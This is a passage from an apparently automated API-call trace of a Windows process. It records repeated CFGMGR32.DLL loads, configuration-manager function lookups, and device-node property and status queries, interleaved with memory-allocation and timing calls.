0x7ffa786ccd50 [0191.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0191.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0191.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0191.865] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0191.865] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0191.865] malloc (_Size=0x48) returned 0x196ef0fbea0 [0191.865] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5336a1a6, dwHighDateTime=0x1d9eb0c)) [0191.866] SetEvent (hEvent=0x248) returned 1 [0191.875] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0191.875] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0191.876] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0191.876] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0191.876] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0191.876] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0191.877] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0191.877] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0191.877] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0191.877] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0191.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0191.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0191.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0191.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0191.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0191.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0191.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0191.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0191.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0191.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0191.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0191.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0191.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0191.881] malloc (_Size=0x18) returned 0x196ef0d1e60 [0191.881] CM_Get_Device_IDA (in: dnDevInst=0x3, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A08\\0") returned 0x0 [0191.881] malloc (_Size=0x48) returned 0x196ef0fb720 [0191.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x5338ff3f, dwHighDateTime=0x1d9eb0c)) [0191.881] SetEvent (hEvent=0x248) returned 1 [0191.987] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0191.987] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0191.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0191.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0191.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0191.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0191.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0191.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0191.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0191.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0191.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0191.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0191.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0191.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0191.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0191.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0191.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0191.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0191.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0191.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0191.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0191.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0191.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0191.991] malloc (_Size=0x18) returned 0x196ef0d1c40 [0191.991] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0191.991] malloc (_Size=0x5a) returned 0x196ef0d0610 [0191.991] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0610, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0610, pulLength=0x67117d608) returned 0x0 [0191.992] free (_Block=0x196ef0d0610) [0191.992] malloc (_Size=0x48) returned 0x196ef0fb720 [0191.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5349aca8, dwHighDateTime=0x1d9eb0c)) [0191.992] SetEvent (hEvent=0x248) returned 1 [0191.995] malloc (_Size=0x18) returned 0x196ef0d20c0 [0191.995] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0191.995] free (_Block=0x196ef0d20c0) [0191.995] malloc (_Size=0x18) returned 0x196ef0d1de0 [0191.995] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0191.995] free (_Block=0x196ef0d1de0) [0191.995] malloc (_Size=0x18) returned 0x196ef0d1be0 [0191.995] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0191.995] free (_Block=0x196ef0d1be0) [0191.996] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8561e0 [0191.996] SafeArrayGetDim (psa=0x196ee7bec60) returned 0x1 [0191.996] SafeArrayGetLBound (in: psa=0x196ee7bec60, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0191.996] SafeArrayGetUBound (in: psa=0x196ee7bec60, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0191.996] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0191.996] SafeArrayGetDim (psa=0x196ee7bec60) returned 0x1 [0191.996] SafeArrayGetUBound (in: psa=0x196ee7bec60, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0191.996] SafeArrayGetElemsize (psa=0x196ee7bec60) returned 0x8 [0191.996] SafeArrayGetElement (in: psa=0x196ee7bec60, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0191.997] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e730, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0191.997] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e738, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0191.997] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e740, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0191.998] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0191.998] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8561e0) returned 1 [0191.998] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0191.998] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0191.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0191.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0191.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0191.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0191.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0191.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0191.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.002] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0192.002] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0192.002] malloc (_Size=0x14) returned 0x196ef0d1ae0 [0192.002] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d1ae0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1ae0, pulLength=0x67117d608) returned 0x0 [0192.002] free (_Block=0x196ef0d1ae0) [0192.002] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0192.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x534c0ff2, dwHighDateTime=0x1d9eb0c)) [0192.002] SetEvent (hEvent=0x248) returned 1 [0192.005] malloc (_Size=0x18) returned 0x196ef0d2060 [0192.005] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0192.005] free (_Block=0x196ef0d2060) [0192.005] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856ae0 [0192.005] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0192.005] SafeArrayGetLBound (in: psa=0x196ee7bfaa0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0192.005] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0192.005] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b65f0 [0192.005] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0192.005] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0192.005] SafeArrayGetElemsize (psa=0x196ee7bfaa0) returned 0x8 [0192.005] SafeArrayGetElement (in: psa=0x196ee7bfaa0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0192.006] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225e40, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.006] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b65f0) returned 1 [0192.007] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856ae0) returned 1 [0192.007] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.007] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.010] malloc (_Size=0x18) returned 0x196ef0d1de0 [0192.010] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0192.020] malloc (_Size=0x48) returned 0x196ef0fb270 [0192.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x534e71ad, dwHighDateTime=0x1d9eb0c)) [0192.021] SetEvent (hEvent=0x248) returned 1 [0192.022] SetEvent (hEvent=0x248) returned 1 [0192.022] free (_Block=0x196ef0fb270) [0192.022] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0192.022] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0192.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x534e71ad, dwHighDateTime=0x1d9eb0c)) [0192.023] SetEvent (hEvent=0x248) returned 1 [0192.024] SetEvent (hEvent=0x248) returned 1 [0192.024] free (_Block=0x196ef0fbbd0) [0192.024] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0192.024] malloc (_Size=0x48) returned 0x196ef0fb680 [0192.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x534e71ad, dwHighDateTime=0x1d9eb0c)) [0192.025] SetEvent (hEvent=0x248) returned 1 [0192.026] SetEvent (hEvent=0x248) returned 1 [0192.026] free (_Block=0x196ef0fb680) [0192.026] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0192.160] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0192.160] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5363e62d, dwHighDateTime=0x1d9eb0c)) [0192.161] SetEvent (hEvent=0x248) returned 1 [0192.166] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.167] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.167] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.167] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.167] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.168] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.168] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.168] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.168] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.168] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.168] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.168] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.170] malloc (_Size=0x18) returned 0x196ef0d1f60 [0192.170] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0192.173] malloc (_Size=0x48) returned 0x196ef0fb360 [0192.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x53664d86, dwHighDateTime=0x1d9eb0c)) [0192.173] SetEvent (hEvent=0x248) returned 1 [0192.176] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.176] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.179] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0192.179] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x3, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0192.180] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0192.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x53664d86, dwHighDateTime=0x1d9eb0c)) [0192.180] SetEvent (hEvent=0x248) returned 1 [0192.184] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.184] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.184] GetProcAddress (hModule=0x7ffa786c0000, 